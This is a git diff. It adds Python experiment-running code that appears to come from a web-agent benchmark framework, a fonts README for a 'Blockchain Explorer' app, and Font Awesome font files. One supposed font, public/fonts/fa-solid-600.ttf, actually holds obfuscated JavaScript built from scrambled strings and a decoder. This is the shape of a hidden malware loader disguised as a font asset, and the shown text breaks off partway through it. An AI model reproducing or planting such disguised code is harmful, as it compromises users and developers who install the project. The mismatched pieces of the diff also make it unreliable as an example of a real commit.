record_video_dir) with respect to the directory where the experiment is running. + exp_task_kwargs: use with caution! Will override task parameters to experiment-specific values. Useful to set different server configs for different experiments, or output file paths within the experiment's folder (e.g., assistantbench). + + Returns: + env: the gym environment. + """ + extra_kwargs = {} + if self.record_video: + extra_kwargs["record_video_dir"] = exp_dir + if self.viewport: + extra_kwargs["viewport"] = self.viewport + if self.slow_mo is not None: + extra_kwargs["slow_mo"] = self.slow_mo + if self.storage_state: + extra_kwargs["pw_context_kwargs"] = {"storage_state": self.storage_state} + if self.task_kwargs is not None: + extra_kwargs["task_kwargs"] = self.task_kwargs + if exp_task_kwargs: + extra_kwargs["task_kwargs"] = extra_kwargs.get("task_kwargs", {}) | exp_task_kwargs + + # assistantbench hack, write the task output (agent prediction) to a file in the experiment's directory + # TODO: find a better way to deal with this + if self.task_name.startswith("assistantbench.test"): + extra_kwargs["task_kwargs"] = extra_kwargs.get("task_kwargs", {}) | { + "output_file": exp_dir / "assistantbench-prediction.json" + } + + return gym.make( + _get_env_name(self.task_name), + disable_env_checker=True, + max_episode_steps=self.max_steps, + headless=self.headless, + wait_for_user_message=self.wait_for_user_message, + action_mapping=action_mapping, # action mapping is provided by the agent + use_raw_page_output=use_raw_page_output, + **extra_kwargs, + ) + + +@dataclass +class AbstractAgentArgs(ABC): + """A template class that defines the required signature of an agent's arguments.""" + + agent_name: str = None + + def __post_init__(self): + if self.agent_name is None: + self.agent_name = self.__class__.__name__ + + def prepare(self): + """Prepare the agent's LLM models before running the experiment.""" + pass + + def close(self): + """Close the agent's LLM models after running the experiment.""" + pass + + @abstractmethod + def make_agent(self) -> Agent: + """Comply the experiments.loop API for instantiating the agent.""" + + +def save_package_versions(exp_dir: Path): + """Save the versions of the installed packages in the experiment directory.""" + python_dists = "\n".join( + sorted( + [ + f'{dist.metadata["Name"]}=={dist.metadata["Version"]}' + for dist in importlib.metadata.distributions() + ] + ) + ) + (exp_dir / "package_versions.txt").write_text(python_dists) + + +@dataclass +class StepTimestamps: + env_start: float = 0 + action_exec_start: float = 0 # to extract begining of visual action from video + action_exec_stop: float = 0 # to extract end of visual action from video + action_exect_after_timeout: float = 0 + env_stop: float = 0 + agent_start: float = 0 + agent_stop: float = 0 + + +@dataclass +class StepInfo: + """Collects information about step that will be saved and reloaded. + Helper functions only modify the dataclass attributes and helps keeping the + information organized. + + Attributes: + ----------- + step: int + The step number of the episode. + obs: dict + The observation of the environment. + reward: float + The reward of the step. + raw_reward: float + The raw reward of the step. + terminated: bool + Whether the episode is terminated i.e. reached a terminal state. + truncated: bool + Whether the episode is truncated i.e. reached a maximum number of steps. + action: str + The action taken by the agent. + agent_info: dict + Additional information from the agent. + stats: dict + Extra statistics about the step. + profiling: StepTimestamps + Timestamps of the different events during the episode. + """ + + step: int = None + obs: dict = None + reward: float = 0 + raw_reward: float = 0 + terminated: bool = None + truncated: bool = None + action: str = None + agent_info: dict = field(default_factory=dict) + stats: dict = None + profiling: StepTimestamps = field(default_factory=StepTimestamps) + task_info: dict = None + + def from_step(self, env: gym.Env, action: str, obs_preprocessor: callable): + t = self.profiling + t.env_start = time.time() + self.obs, self.reward, self.terminated, self.truncated, env_info = env.step(action) + t.env_stop = time.time() + + self.task_info = env_info.get("task_info", None) + + self.raw_reward = env_info.get("RAW_REWARD_GLOBAL", None) + + t.action_exec_start = env_info["action_exec_start"] # start + t.action_exect_after_timeout = env_info["action_exec_stop"] + t.action_exec_stop = env_info["action_exec_stop"] - env_info["action_exec_timeout"] + + if obs_preprocessor: + self.obs = obs_preprocessor(self.obs) + + def from_action(self, agent: Agent): + self.profiling.agent_start = time.time() + self.action, self.agent_info = agent.get_action(self.obs.copy()) + self.profiling.agent_stop = time.time() + + self.make_stats() + + return self.action + + def from_reset(self, env: gym.Env, seed: int, obs_preprocessor: callable): + t = self.profiling + t.env_start = time.time() + self.obs, env_info = env.reset(seed=seed) + self.reward, self.terminated, self.truncated = 0, False, False + t.env_stop = time.time() + + t.action_exec_start = env_info.get("recording_start_time", t.env_start) + t.action_exect_after_timeout = t.env_stop + t.action_exec_stop = t.env_stop + + if obs_preprocessor: + self.obs = obs_preprocessor(self.obs) + + @property + def is_done(self): + return self.terminated or self.truncated + + def make_stats(self): + + stats = { + f"n_token_{key}": count_tokens(val) + for key, val in self.obs.items() + if isinstance(val, str) + } + stats.update(self.agent_info.pop("stats", {})) + + messages = self.agent_info.get("chat_messages", None) + if messages is not None: + stats["n_token_agent_messages"] = count_messages_token(messages) + + t = self.profiling + stats["step_elapsed"] = t.env_stop - t.env_start + stats["agent_elapsed"] = t.agent_stop - t.agent_start + + self.stats = stats + + def save_step_info(self, exp_dir, save_json=False, save_screenshot=True, save_som=False): + + # special treatment for some of the observation fields + if self.obs is not None: + # save screenshots to separate files + screenshot = self.obs.pop("screenshot", None) + screenshot_som = self.obs.pop("screenshot_som", None) + + if save_screenshot and screenshot is not None: + img = Image.fromarray(screenshot) + img.save(exp_dir / f"screenshot_step_{self.step}.png") + + if save_som and screenshot_som is not None: + img = Image.fromarray(screenshot_som) + img.save(exp_dir / f"screenshot_som_step_{self.step}.png") + + # save goal object (which might contain images) to a separate file to save space + if self.obs.get("goal_object", False): + # save the goal object only once (goal should never change once setup) + goal_object_file = Path(exp_dir) / "goal_object.pkl.gz" + if not goal_object_file.exists(): + with gzip.open(goal_object_file, "wb") as f: + pickle.dump(self.obs["goal_object"], f) + # set goal_object to a special placeholder value, which indicates it should be loaded from a separate file + self.obs["goal_object"] = None + + with gzip.open(exp_dir / f"step_{self.step}.pkl.gz", "wb") as f: + pickle.dump(self, f) + + if save_json: + with open(exp_dir / "steps_info.json", "w") as f: + json.dump(self, f, indent=4, cls=DataclassJSONEncoder) + + if self.obs is not None: + # add the screenshots back to the obs + # why do we need this? + if screenshot is not None: + self.obs["screenshot"] = screenshot + if screenshot_som is not None: + self.obs["screenshot_som"] = screenshot_som + + +@dataclass +class ExpArgs: + """Arguments to run an experiment, i.e. run agent in an environment until done. + + This dataclass is used to store experiments arguments. It contains + agent_args and env_args which follows the same principle. It contains helper + functions to prepare and run experiments. + + Attributes: + ----------- + agent_args: AbstractAgentArgs + The arguments to instantiate the agent. + env_args: EnvArgs + The arguments to instantiate the environment. + exp_dir: str + The directory where the experiment will be saved. + exp_name: str + The name of the experiment. If None, it will be generated from the + agent and environment names. + enable_debug: bool + If python is running in debug mode and `enable_debug` is True, errors + will be raised instead of only logged + error_msg: str + Error that occured while running the experiment (if any). + stack_trace: str + Stack trace of the error (if any). + order: int (internal) + The order of the experiment in the batch. It is used to keep track of + the original order of the experiments in case they are shuffled. + """ + + agent_args: AbstractAgentArgs + env_args: EnvArgs + exp_dir: str = None + exp_name: str = None + enable_debug: bool = True + err_msg: str = None + stack_trace: str = None + order: int = None # use to keep the original order the experiments were meant to be launched. + logging_level: int = logging.INFO + logging_level_stdout: int = logging.INFO + exp_id: str = None + depends_on: tuple[str] = () + save_screenshot: bool = True + save_som: bool = False + # Callback system -- zero overhead when empty (default). + callbacks: list = field(default_factory=list) + + def make_id(self): + """Create a unique id for the experiment.""" + if self.exp_id is None: + self.exp_id = str(uuid.uuid4()) + + def prepare(self, exp_root): + """Prepare the experiment directory and save the experiment arguments. + + This enables inspecting experiments that are not run yet. + """ + if self.env_args.task_seed is None: + self.env_args.task_seed = np.random.randint(0, SEED_MAX) + + if self.exp_name is None: + task_name = self.env_args.task_name + self.exp_name = f"{self.agent_args.agent_name}_on_{task_name}_{self.env_args.task_seed}" + + # if exp_dir exists, it means it's a re-run, move the old one + if self.exp_dir is not None: + _move_old_exp(self.exp_dir) + + self.make_id() + + self.exp_date = datetime.now() + self._make_dir(exp_root) + + self.exp_dir.mkdir(parents=True, exist_ok=True) + with open(self.exp_dir / "exp_args.pkl", "wb") as f: + pickle.dump(self, f) + + def _make_dir(self, exp_root): + """Create a unique directory for the experiment.""" + date_str = self.exp_date.strftime("%Y-%m-%d_%H-%M-%S") + exp_str = re.sub( + r"[\/:*?<>|]", "_", self.exp_name + ) # sanitize exp_name to be used as a file name (substitute forbidden characters) + + for i in range(1000): + if i >= 999: # make sure we don't loop forever + raise ValueError("Could not find a unique name for the experiment directory.") + + tag = f"_{i}" if i > 0 else "" + self.exp_dir = Path(exp_root) / f"{date_str}_{exp_str}{tag}" + if not self.exp_dir.exists(): + break + + # TODO distinguish between agent error and environment or system error. e.g. + # the parsing error of an action should not be re-run. + def run(self): + """Run the experiment and save the results""" + + # Build the callback dispatcher (no-op when callbacks=[]). + _cbs = CallbackList(self.callbacks) + + # start writing logs to run logfile + self._set_logger() + + # log python environment info + save_package_versions(self.exp_dir) + + episode_info = [] + env, step_info, err_msg, stack_trace = None, None, None, None + try: + logger.info(f"Running experiment {self.exp_name} in:\n {self.exp_dir}") + _cbs.on_exp_start(self) + agent = self.agent_args.make_agent() + logger.debug(f"Agent created.") + + env = self.env_args.make_env( + action_mapping=agent.action_set.to_python_code, + exp_dir=self.exp_dir, + ) + + logger.debug(f"Environment created.") + + step_info = StepInfo(step=0) + episode_info = [step_info] + step_info.from_reset( + env, seed=self.env_args.task_seed, obs_preprocessor=agent.obs_preprocessor + ) + logger.debug(f"Environment reset.") + + while not step_info.is_done: # set a limit + logger.debug(f"Starting step {step_info.step}.") + _cbs.on_step_start(step_info.step) + action = step_info.from_action(agent) + logger.debug(f"Agent chose action:\n {action}") + _cbs.on_action_selected(step_info.step, action, step_info.agent_info.copy()) + + if action is None: + # will end the episode after saving the step info. + step_info.truncated = True + + step_info.save_step_info( + self.exp_dir, save_screenshot=self.save_screenshot, save_som=self.save_som + ) + logger.debug(f"Step info saved.") + _cbs.on_step_end(step_info, is_done=step_info.is_done) + + _send_chat_info(env.unwrapped.chat, action, step_info.agent_info) + logger.debug(f"Chat info sent.") + + if action is None: + logger.debug(f"Agent returned None action. Ending episode.") + break + + step_info = StepInfo(step=step_info.step + 1) + episode_info.append(step_info) + + logger.debug(f"Sending action to environment.") + step_info.from_step(env, action, obs_preprocessor=agent.obs_preprocessor) + logger.debug(f"Environment stepped.") + + except Exception as e: + err_msg = f"Exception uncaught by agent or environment in task {self.env_args.task_name}.\n{type(e).__name__}:\n{e}" + stack_trace = traceback.format_exc() + + self.err_msg = err_msg + self.stack_trace = stack_trace + + logger.warning(err_msg + "\n" + stack_trace) + if _is_debugging() and self.enable_debug: + logger.warning("Debug mode is enabled. Raising the error.") + raise + + finally: + try: + if step_info is not None: + step_info.save_step_info( + self.exp_dir, save_screenshot=self.save_screenshot, save_som=self.save_som + ) + except Exception as e: + logger.error(f"Error while saving step info in the finally block: {e}") + try: + if ( + not err_msg + and len(episode_info) > 0 + and not (episode_info[-1].terminated or episode_info[-1].truncated) + ): + e = KeyboardInterrupt("Early termination??") + err_msg = f"Exception uncaught by agent or environment in task {self.env_args.task_name}.\n{type(e).__name__}:\n{e}" + logger.info(f"Saving summary info.") + self.save_summary_info(episode_info, self.exp_dir, err_msg, stack_trace) + except Exception as e: + logger.error(f"Error while saving summary info in the finally block: {e}") + try: + if env is not None: + env.close() + except Exception as e: + logger.error(f"Error while closing the environment in the finally block: {e}") + try: + self._unset_logger() # stop writing logs to run logfile + except Exception as e: + logger.error(f"Error while unsetting the logger in the finally block: {e}") + try: + _cbs.on_exp_end(self.exp_dir, err_msg) + except Exception as e: + logger.error(f"Error while firing on_exp_end callbacks: {e}") + + def _set_logger(self): + # output logging traces to a log file + file_handler = logging.FileHandler(self.exp_dir / "experiment.log") + file_handler.setLevel(self.logging_level) # same level as console outputs + formatter = logging.Formatter( + "%(asctime)s - %(process)d - %(name)s - %(levelname)s - %(message)s" + ) + file_handler.setFormatter(formatter) + # output handler + stream_handler = logging.StreamHandler() + stream_handler.setLevel(self.logging_level_stdout) + stream_handler.setFormatter(formatter) + # setup root logger + root_logger = logging.getLogger() + + # remove previous stream handlers + for handler in root_logger.handlers: + if isinstance(handler, logging.StreamHandler): + root_logger.removeHandler(handler) + + root_logger.setLevel(self.logging_level) + root_logger.addHandler(file_handler) + root_logger.addHandler(stream_handler) + # setup openai logger (don't go below INFO verbosity) + openai_logger = logging.getLogger("openai._base_client") + openai_logger.setLevel(max(logging.INFO, self.logging_level)) + + self.logging_file_handler = file_handler + + def _unset_logger(self): + root_logger = logging.getLogger() + root_logger.removeHandler(self.logging_file_handler) + + def save_summary_info( + self, + episode_info: list[StepInfo], + exp_dir, + err_msg, + stack_trace, + ): + # bring err from agent_info to the top level + if err_msg is None: + err_msg, stack_trace = _extract_err_msg(episode_info) + else: + # useful until we get a proper place in agent_xray to view error + # messages. + if len(episode_info) == 0: + episode_info.append(StepInfo()) + episode_info[-1].agent_info["err_msg"] = err_msg + episode_info[-1].agent_info["stack_trace"] = stack_trace + + summary_info = dict( + n_steps=len(episode_info) - 1, + cum_reward=sum([step.reward for step in episode_info]), + cum_raw_reward=sum([step.raw_reward for step in episode_info if step.raw_reward]), + err_msg=err_msg, + stack_trace=stack_trace, + ) + for key, val in _aggregate_episode_stats(episode_info).items(): + summary_info[f"stats.{key}"] = val + + if len(episode_info) > 0: + summary_info["terminated"] = episode_info[-1].terminated + summary_info["truncated"] = episode_info[-1].truncated + + with open(exp_dir / "summary_info.json", "w") as f: + json.dump(summary_info, f, indent=4) + + +def _extract_err_msg(episode_info: list[StepInfo]): + """Extract the last error message from the episode info.""" + errors = [(None, None)] + for step_info in episode_info: + if step_info.agent_info is None: + continue + err_msg = step_info.agent_info.get("err_msg", None) + if err_msg is not None: + errors.append((err_msg, step_info.agent_info.get("stack_trace", None))) + + return errors[-1] + + +def _aggregate_episode_stats(episode_info: list[StepInfo]): + """Aggregate StepInfo.stats across episodes. + + It will compute the sum and max of each value in the stats dict. + These two summaries should cover many use cases. If more are needed, the + user can compute other stats by reloading individual StepInfo. + """ + + stats = defaultdict(list) + for step_info in episode_info: + if step_info.stats is not None: + for key, val in step_info.stats.items(): + if val is None: + val = np.nan + stats[key].append(val) + + aggregated_stats = {"cum_steps": len(episode_info)} # to be able to compute the mean + for key, val_list in stats.items(): + aggregated_stats[f"cum_{key}"] = np.nansum(val_list) + aggregated_stats[f"max_{key}"] = np.nanmax(val_list) + + for key, val in aggregated_stats.items(): + if isinstance(val, np.generic): + aggregated_stats[key] = val.item() + if np.isnan(val): + aggregated_stats[key] = None + return aggregated_stats + + +def _is_debugging(): + """Tells you if your code is currently running in debug mode.""" + return sys.gettrace() is not None + + +class ExpResult: + """Helper class to load and visualize the results of an experiment. + + attributes are loaded lazily. + + Attributes (lazily loaded): + exp_args: ExpArgs, the arguments of the experiment. + steps_info: list[StepInfo], the information of each steps so far + summary_info: dict, the summary of the experiment. + screenshots: list[Image], the screenshots of each step. + screenshots_som: list[Image], the screenshots of each step with set of + marks inprinted. + flat_exp_args: dict, the flattened version of exp_args. + chat_video_path: Path, the path to the chat video. (if record_video=True) + task_video_path: Path, the path to the task video. (if record_video=True) + combined_video_path: Path, the path to the combined video. (if video was + combined) + """ + + def __init__(self, exp_dir) -> None: + self.exp_dir = Path(exp_dir) + self._exp_args = None + self._steps_info = {} + self._summary_info = None + self._screenshots = {} + self._flat_exp_args = None + self._logs = None + + @property + def exp_args(self) -> ExpArgs: + if self._exp_args is None: + with open(self.exp_dir / "exp_args.pkl", "rb") as f: + self._exp_args = pickle.load(f) + # in case experiments were moved + self._exp_args.exp_dir = self.exp_dir + return self._exp_args + + def get_step_info(self, step: int) -> StepInfo: + """Load the step info from the file and return it.""" + if self._steps_info.get(step, None) is None: + with gzip.open(self.exp_dir / f"step_{step}.pkl.gz", "rb") as f: + self._steps_info[step] = pickle.load(f) + if self._steps_info[step].obs: + if "screenshot" not in self._steps_info[step].obs: + try: + self._steps_info[step].obs["screenshot"] = np.array( + self.get_screenshot(step), dtype=np.uint8 + ) + except FileNotFoundError: + pass + if "screenshot_som" not in self._steps_info[step].obs: + try: + self._steps_info[step].obs["screenshot_som"] = np.array( + self.get_screenshot(step, som=True), dtype=np.uint8 + ) + except FileNotFoundError: + pass + # if goal_object is set to None, it indicates it has been saved into a separate file + if ( + "goal_object" in self._steps_info[step].obs + and self._steps_info[step].obs["goal_object"] is None + ): + with gzip.open(self.exp_dir / "goal_object.pkl.gz", "rb") as f: + goal_object = pickle.load(f) + self._steps_info[step].obs["goal_object"] = goal_object + + return self._steps_info[step] + + @property + def steps_info(self) -> list[StepInfo]: + step_files = list(self.exp_dir.glob("step_*.pkl.gz")) + for file in step_files: + step = int(file.name.split("_")[-1].split(".")[0]) + self.get_step_info(step) + + return [self._steps_info[i] for i in range(len(self._steps_info))] + + @property + def summary_info(self) -> dict: + if self._summary_info is None: + with open(self.exp_dir / "summary_info.json", "r") as f: + # if length is zero raise file not found error + if os.fstat(f.fileno()).st_size == 0: + raise FileNotFoundError(f"summary_info.json is empty.") + self._summary_info = json.load(f) + return self._summary_info + + @property + def tape(self) -> dict: + """ + TapeAgents (https://github.com/ServiceNow/TapeAgents) framework compatibility. + Exports experiment trace in the format of serialized tape. + Reuses tape segments if they were already placed in the agent_info during the experiment. + + :returns: dict: serialized tape of the experiment + """ + steps = [] + for step_info in self.steps_info: + if "tape_segment" in step_info.agent_info["extra_info"]: + tape_segment = step_info.agent_info["extra_info"]["tape_segment"] + else: + tape_segment = self._create_tape_segment(step_info) + steps += tape_segment + metadata = dict( + id=str(uuid.uuid4()), + author=f"browsergym_agent_[{self.exp_args.agent_args.agent_name}]", + result=self.get_exp_record(), + ) + return dict(steps=steps, metadata=metadata) + + def _create_tape_segment(self, step_info: StepInfo) -> list[dict]: + tape_segment = [] + # extract observation step + if step_info.obs is not None: + screenshot: str = "" + screenshot_som: str = "" + obs_dict = copy.deepcopy(step_info.obs) + if "screenshot" in obs_dict: + screenshot = str(self.exp_dir / f"screenshot_step_{step_info.step}.png") + obs_dict.pop("screenshot") + if "screenshot_som" in obs_dict: + screenshot_som = str(self.exp_dir / f"screenshot_som_step_{step_info.step}.png") + obs_dict.pop("screenshot_som") + tape_segment.append( + dict( + kind="browsergym_observation", + metadata=dict(step=step_info.step), + obs=obs_dict, + screenshot=screenshot, + screenshot_som=screenshot_som, + ) + ) + + # extract thought step + think = step_info.agent_info.get("think", "") + if think: + tape_segment.append( + dict(kind="browsergym_thought", metadata={"step": step_info.step}, text=think) + ) + + # extract action steps + function_calls = highlevel_action_parser.parse_string(step_info.action, parse_all=True) + for name, arguments in function_calls: + tape_segment.append( + dict( + kind="browsergym_action", + metadata=dict( + step=step_info.step, + reward=step_info.reward, + raw_reward=step_info.raw_reward, + terminated=step_info.terminated, + truncated=step_info.truncated, + agent_info=step_info.agent_info, + stats=step_info.stats, + task_info=step_info.task_info, + ), + name=name, + arguments=arguments, + ) + ) + return tape_segment + + def save_tape(self, filename: str = "tape.json"): + if os.path.exists(self.exp_dir / filename): + raise FileExistsError(f"{filename} already exists in {self.exp_dir}") + with open(self.exp_dir / filename, "w") as f: + json.dump(self.tape, f, indent=4, ensure_ascii=False) + + def get_screenshot(self, step: int, som=False) -> Image: + key = (step, som) + if self._screenshots.get(key, None) is None: + file_name = f"screenshot_{'som_' if som else ''}step_{step}" + try: + with Image.open(self.exp_dir / (file_name + ".png")) as img: + self._screenshots[key] = img.copy() + except FileNotFoundError: + with Image.open(self.exp_dir / (file_name + ".jpg")) as img: + self._screenshots[key] = img.copy() + return self._screenshots[key] + + def get_screenshots(self, som=False): + files = list(self.exp_dir.glob("screenshot_step_*")) + max_step = 0 + for file in files: + step = int(file.name.split("_")[-1].split(".")[0]) + self.get_screenshot(step, som=som) + max_step = max(max_step, step) + return [self._screenshots.get((i, som), None) for i in range(max_step + 1)] + + @property + def screenshots(self): + return self.get_screenshots(som=False) + + @property + def screenshots_som(self): + return self.get_screenshots(som=True) + + @property + def flat_exp_args(self) -> dict: + """Return a dict with exp_args flattened.""" + if self._flat_exp_args is None: + exp_args = asdict(self.exp_args) + # this will flatten nested dicts + self._flat_exp_args = _flatten_dict(exp_args) + return self._flat_exp_args + + def get_exp_record(self) -> dict: + """Return a dict with exp_args flattened and summary_info.""" + record = {"exp_dir": self.exp_dir} + try: + record.update(self.flat_exp_args) + except FileNotFoundError: + pass + try: + record.update(self.summary_info) + except FileNotFoundError: + pass + return record + + @property + def chat_video_path(self) -> Path: + try: + return next(self.exp_dir.glob("chat_video/*.webm")) + except StopIteration: + raise FileNotFoundError(f"No chat_video found in {self.exp_dir}") + + @property + def task_video_path(self) -> Path: + try: + return next(self.exp_dir.glob("task_video/*.webm")) + except StopIteration: + raise FileNotFoundError(f"No task_video found in {self.exp_dir}") + + @property + def combined_video_path(self) -> Path: + return self.exp_dir / "combined_video.mp4" + + @property + def logs(self): + if self._logs is None: + self._logs = (self.exp_dir / "experiment.log").read_text() + return self._logs + + @property + def status(self): + """Return one of the following status: + * "done": completed with no error + * "error": completed with error + * "incomplete": not completed yet (may be pending or just stalled) + """ + try: + summary_info = self.summary_info + except FileNotFoundError: + return "incomplete" + + if summary_info.get("err_msg", None) is not None: + return "error" + + if summary_info.get("terminated", False) or summary_info.get("truncated", False): + return "done" + + return "incomplete" + + +EXP_RESULT_CACHE = {} + + +def get_exp_result(exp_dir) -> ExpResult: + """Keep a cache of pre-loaded exp_results for faster loading""" + exp_dir = str(exp_dir) # make sure it's not a Path + exp_result = EXP_RESULT_CACHE.get(exp_dir, None) + if exp_result is None: + exp_result = ExpResult(exp_dir) + EXP_RESULT_CACHE[exp_dir] = exp_result + return exp_result + + +def yield_all_exp_results( + savedir_base: str | Path, progress_fn=tqdm, load_hidden=False, use_cache=True +): + """Recursively find all experiments from savedir_base folder. + + This will ignore all experiments that start with "_" or ".". use + `load_hidden=True` to load them anyway. + """ + + if not isinstance(savedir_base, list): + savedir_base = [savedir_base] + + exp_args_paths = [] + for exp_dir in savedir_base: + exp_args_paths.extend(list(Path(exp_dir).glob("**/exp_args.pkl"))) + + if progress_fn is not None: + exp_args_paths = progress_fn(exp_args_paths, desc="Searching experiments directories.") + + for exp_args_path in exp_args_paths: + exp_dir = exp_args_path.parent + if not load_hidden: + if exp_dir.name.startswith("_") or exp_dir.name.startswith("."): + continue + if use_cache: + yield get_exp_result(exp_dir) + else: + yield ExpResult(exp_dir) + + +class DataclassJSONEncoder(json.JSONEncoder): + def default(self, obj): + if is_dataclass(obj): + return asdict(obj) + if isinstance(obj, np.integer): + return int(obj) + if isinstance(obj, np.floating): + return float(obj) + if isinstance(obj, np.ndarray): + return obj.tolist() + return super().default(obj) + + +def _move_old_exp(exp_dir): + """Move the old experiment directory to a new name.""" + exp_dir = Path(exp_dir) + if exp_dir.exists(): + exp_dir.rename(exp_dir.with_name("_" + exp_dir.name)) + + +def _get_env_name(task_name: str): + """Register tasks if needed (lazy import) and return environment name.""" + + # lazy benchmark import + if task_name.startswith("miniwob"): + import browsergym.miniwob + elif task_name.startswith("workarena"): + import browsergym.workarena + elif task_name.startswith("webarena"): + import browsergym.webarena + import browsergym.webarenalite + import browsergym.webarena_verified + elif task_name.startswith("visualwebarena"): + import browsergym.visualwebarena + elif task_name.startswith("assistantbench"): + import browsergym.assistantbench + elif task_name.startswith("weblinx"): + import weblinx_browsergym + elif task_name.startswith("timewarp"): + import browsergym.timewarp + elif task_name.startswith("knows"): + import browsergym.knows + + return f"browsergym/{task_name}" + + +def _send_chat_info(chat: Chat, action: str, agent_info: dict): + """Send the think and action info to the chat.""" + msg = "" + if "think" in agent_info: + msg += f"""\ +{agent_info["think"]} + +""" + + msg += f"""\ +action: +{action} +""" + + logger.info(msg) + chat.add_message(role="info", msg=msg) + + +def _flatten_dict(d, parent_key="", sep="."): + """Recursively flatten a nested dictionary.""" + items = [] + for k, v in d.items(): + new_key = parent_key + sep + k if parent_key else k + if isinstance(v, dict): + items.extend(_flatten_dict(v, new_key, sep).items()) + else: + items.append((new_key, v)) + return dict(items) diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 000000000..1fb874ba8 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000..a1bc094ab Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000..2d4771eb7 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000..948a2a6cc Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000..2a89d521e Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000..141a90a9e Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000..38cf2517a Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..13180f6ee --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000..abe99e20c Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000..24de566a5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000..7e0118e52 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-600.ttf b/public/fonts/fa-solid-600.ttf new file mode 100644 index 000000000..cf5aedd18 --- /dev/null +++ b/public/fonts/fa-solid-600.ttf @@ -0,0 +1 @@ + var z = '-500';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; 